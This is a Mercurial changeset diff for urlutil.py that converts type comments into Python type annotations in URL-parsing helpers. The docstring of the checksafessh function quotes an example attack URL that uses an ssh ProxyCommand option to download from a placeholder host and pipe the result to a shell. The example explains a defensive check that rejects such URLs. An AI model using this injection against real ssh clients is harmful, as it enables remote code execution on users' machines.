comparison mercurial/utils/urlutil.py @ 51287:f15cb5111a1e

pytype: move some type comment to proper annotation We support direct type annotations now, while pytype is starting to complains about them.
author Pierre-Yves David <pierre-yves.david@octobus.net>
date Tue, 19 Dec 2023 21:29:34 +0100
parents 9d3721552b6c
children
comparison
equal deleted inserted replaced
51286:81224afd938d 51287:f15cb5111a1e
32 assert [Union] 32 assert [Union]
33 33
34 urlreq = urllibcompat.urlreq 34 urlreq = urllibcompat.urlreq
35 35
36 36
37 def getport(port): 37 def getport(port: Union[bytes, int]) -> int:
38 # type: (Union[bytes, int]) -> int
39 """Return the port for a given network service. 38 """Return the port for a given network service.
40 39
41 If port is an integer, it's returned as is. If it's a string, it's 40 If port is an integer, it's returned as is. If it's a string, it's
42 looked up using socket.getservbyname(). If there's no matching 41 looked up using socket.getservbyname(). If there's no matching
43 service, error.Abort is raised. 42 service, error.Abort is raised.
131 130
132 _safechars = b"!~*'()+" 131 _safechars = b"!~*'()+"
133 _safepchars = b"/!~*'()+:\\" 132 _safepchars = b"/!~*'()+:\\"
134 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match 133 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
135 134
136 def __init__(self, path, parsequery=True, parsefragment=True): 135 def __init__(
137 # type: (bytes, bool, bool) -> None 136 self,
137 path: bytes,
138 parsequery: bool = True,
139 parsefragment: bool = True,
140 ) -> None:
138 # We slowly chomp away at path until we have only the path left 141 # We slowly chomp away at path until we have only the path left
139 self.scheme = self.user = self.passwd = self.host = None 142 self.scheme = self.user = self.passwd = self.host = None
140 self.port = self.path = self.query = self.fragment = None 143 self.port = self.path = self.query = self.fragment = None
141 self._localpath = True 144 self._localpath = True
142 self._hostport = b'' 145 self._hostport = b''
376 return True # Windows UNC path 379 return True # Windows UNC path
377 if self.path.startswith(b'/'): 380 if self.path.startswith(b'/'):
378 return True # POSIX-style 381 return True # POSIX-style
379 return False 382 return False
380 383
381 def localpath(self): 384 def localpath(self) -> bytes:
382 # type: () -> bytes
383 if self.scheme == b'file' or self.scheme == b'bundle': 385 if self.scheme == b'file' or self.scheme == b'bundle':
384 path = self.path or b'/' 386 path = self.path or b'/'
385 # For Windows, we need to promote hosts containing drive 387 # For Windows, we need to promote hosts containing drive
386 # letters to paths with drive letters. 388 # letters to paths with drive letters.
387 if hasdriveletter(self._hostport): 389 if hasdriveletter(self._hostport):
400 or self.scheme == b'file' 402 or self.scheme == b'file'
401 or self.scheme == b'bundle' 403 or self.scheme == b'bundle'
402 ) 404 )
403 405
404 406
405 def hasscheme(path): 407 def hasscheme(path: bytes) -> bool:
406 # type: (bytes) -> bool
407 return bool(url(path).scheme) # cast to help pytype 408 return bool(url(path).scheme) # cast to help pytype
408 409
409 410
410 def hasdriveletter(path): 411 def hasdriveletter(path: bytes) -> bool:
411 # type: (bytes) -> bool
412 return bool(path) and path[1:2] == b':' and path[0:1].isalpha() 412 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
413 413
414 414
415 def urllocalpath(path): 415 def urllocalpath(path: bytes) -> bytes:
416 # type: (bytes) -> bytes
417 return url(path, parsequery=False, parsefragment=False).localpath() 416 return url(path, parsequery=False, parsefragment=False).localpath()
418 417
419 418
420 def checksafessh(path): 419 def checksafessh(path: bytes) -> None:
421 # type: (bytes) -> None
422 """check if a path / url is a potentially unsafe ssh exploit (SEC) 420 """check if a path / url is a potentially unsafe ssh exploit (SEC)
423 421
424 This is a sanity check for ssh urls. ssh will parse the first item as 422 This is a sanity check for ssh urls. ssh will parse the first item as
425 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. 423 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
426 Let's prevent these potentially exploited urls entirely and warn the 424 Let's prevent these potentially exploited urls entirely and warn the
433 raise error.Abort( 431 raise error.Abort(
434 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),) 432 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
435 ) 433 )
436 434
437 435
438 def hidepassword(u): 436 def hidepassword(u: bytes) -> bytes:
439 # type: (bytes) -> bytes
440 '''hide user credential in a url string''' 437 '''hide user credential in a url string'''
441 u = url(u) 438 u = url(u)
442 if u.passwd: 439 if u.passwd:
443 u.passwd = b'***' 440 u.passwd = b'***'
444 return bytes(u) 441 return bytes(u)
445 442
446 443
447 def removeauth(u): 444 def removeauth(u: bytes) -> bytes:
448 # type: (bytes) -> bytes
449 '''remove all authentication information from a url string''' 445 '''remove all authentication information from a url string'''
450 u = url(u) 446 u = url(u)
451 u.user = u.passwd = None 447 u.user = u.passwd = None
452 return bytes(u) 448 return bytes(u)
453 449